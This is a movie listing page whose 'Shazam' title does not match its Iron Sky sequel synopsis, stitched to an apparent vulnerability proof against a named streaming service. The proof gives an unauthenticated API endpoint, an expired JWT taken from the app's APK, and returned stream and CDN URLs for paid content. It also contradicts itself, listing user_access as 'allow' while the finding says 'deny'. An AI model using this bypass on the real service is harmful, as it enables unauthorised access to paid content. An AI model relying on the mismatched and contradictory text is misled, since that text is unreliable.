Shazam
Vj Dan De Sci FI 02h 06m 7 years ago

Twenty years after the events of Iron Sky, the former Nazi Moonbase has become the last refuge of mankind. Earth has been devastated by a nuclear war but buried beneath the wasteland lies a power that could save the last of humanity -- or destroy it.

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/5957/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access allow
paid_for YES (premium content)
substatus EXPIRED
serverhost 6
video_name Shazam emm.mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN stream https://munotek-vault.b-cdn.net/d2a44/c14/Shazam%20emm.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206).
